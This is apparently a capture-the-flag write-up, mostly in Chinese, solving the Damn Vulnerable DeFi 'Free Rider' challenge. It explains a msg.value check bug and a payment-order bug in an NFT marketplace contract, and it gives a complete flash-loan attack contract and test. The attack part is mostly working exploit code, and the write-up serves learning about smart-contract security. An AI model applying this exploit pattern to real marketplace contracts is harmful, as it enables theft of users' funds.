A new marketplace of Damn Valuable NFTs has been released! There’s been an initial mint of 6 NFTs, which are available for sale in the marketplace. Each one at 15 ETH.
A critical vulnerability has been reported, claiming that all tokens can be taken. Yet the developers don’t know how to save them!
They’re offering a bounty of 45 ETH for whoever is willing to take the NFTs out and send them their way. The recovery process is managed by a dedicated smart contract.
You’ve agreed to help. Although, you only have 0.1 ETH in balance. The devs just won’t reply to your messages asking for more.
If only you could get free ETH, at least for an instant.
這一題有兩個合約
其中 NFTMarketplace 負責了交易,賣家可以對自己上架的 NFT 做一系列的管理 ex:授權 NFT 以及修改報價,買家則可以大量購買 NFT,基本上交易方式是買家先轉 ETH 給合約,然後合約再把錢丟給賣家
合約中我們需要關注的是以下兩個 function
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; ++i) {
unchecked {
_buyOne(tokenIds[i]);
}
}
}
function _buyOne(uint256 tokenId) private {
uint256 priceToPay = offers[tokenId];
if (priceToPay == 0) {
revert TokenNotOffered(tokenId);
}
if (msg.value < priceToPay) {
revert InsufficientPayment();
}
--offersCount;
// transfer from seller to buyer
DamnValuableNFT _token = token; // cache for gas savings
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
// pay seller using cached token
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
receive() external payable {}
}
經過分析,可以看出 buyMany
中不會檢查 msg.value
,所以可以花一點小錢就詐賭出所有的 NFT,其次,下面的兩行 code 也有一點問題
_token.safeTransferFrom(_token.ownerOf(tokenId), msg.sender, tokenId);
payable(_token.ownerOf(tokenId)).sendValue(priceToPay);
可以發現到這兩行的順序其實反過來了,基本上就是先把 NFT 賣給了買家,但是交易的 ETH 卻又回到了買家的手上,意思就是我們不只實現了 0 元購,對方甚至還要倒貼我們額外的 ETH,已購買,小孩很愛吃
我們要做的事情如下:
這樣算下來我們是賺的,因為每 1 個 NFT 我們都可以收取 15 ETH,所以 6 個就是 90,再加上賞金的 45 ETH,扣掉閃電貸 + 閃電貸的手續費,賺麻了都
Attack contract:
contract Freeeeeeeeeeee {
WETH public weth;
IUniswapV2Pair public uniswapPair;
FreeRiderNFTMarketplace public marketplace;
DamnValuableNFT public nft;
FreeRiderRecoveryManager public recoveryManager;
address public owner;
uint256 constant NFT_PRICE = 15 ether;
uint256 constant AMOUNT_OF_NFTS = 6;
constructor(
WETH _weth,
IUniswapV2Pair _uniswapPair,
FreeRiderNFTMarketplace _marketplace,
DamnValuableNFT _nft,
FreeRiderRecoveryManager _recoveryManager
) {
weth = _weth;
uniswapPair = _uniswapPair;
marketplace = _marketplace;
nft = _nft;
recoveryManager = _recoveryManager;
owner = msg.sender;
}
function attack() external {
// 1. 從 Uniswap pair 合約借出 15 WETH
uniswapPair.swap(NFT_PRICE, 0, address(this), abi.encode("flashloan"));
// 將多餘的 ETH 轉回到攻擊者的錢包
payable(owner).transfer(address(this).balance);
}
function uniswapV2Call(address, uint256 amount0, uint256, bytes calldata) external {
// 將借來的 WETH 轉換成 ETH
weth.withdraw(amount0);
// 2. 購買所有 6 個 NFT
uint256[] memory ids = new uint256[](AMOUNT_OF_NFTS);
for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
ids[i] = i;
}
marketplace.buyMany{value: NFT_PRICE}(ids);
// 3. 將 NFT 轉移到恢復合約,獲得賞金
for (uint256 i = 0; i < AMOUNT_OF_NFTS; i++) {
nft.safeTransferFrom(address(this), address(recoveryManager), ids[i], abi.encode(owner));
}
// 4. 償還閃電貸:借款本金 + 手續費 (0.3%)
uint256 amountToRepay = (NFT_PRICE * 10031) / 10000;
weth.deposit{value: amountToRepay}();
weth.transfer(address(uniswapPair), amountToRepay);
}
function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) {
return this.onERC721Received.selector;
}
receive() external payable {}
}
Test function:
function test_freeRider() public checkSolvedByPlayer {
Freeeeeeeeeeee exploiter = new Freeeeeeeeeeee(
weth,
uniswapPair,
marketplace,
nft,
recoveryManager
);
exploiter.attack();
}
每日梗圖(1/1)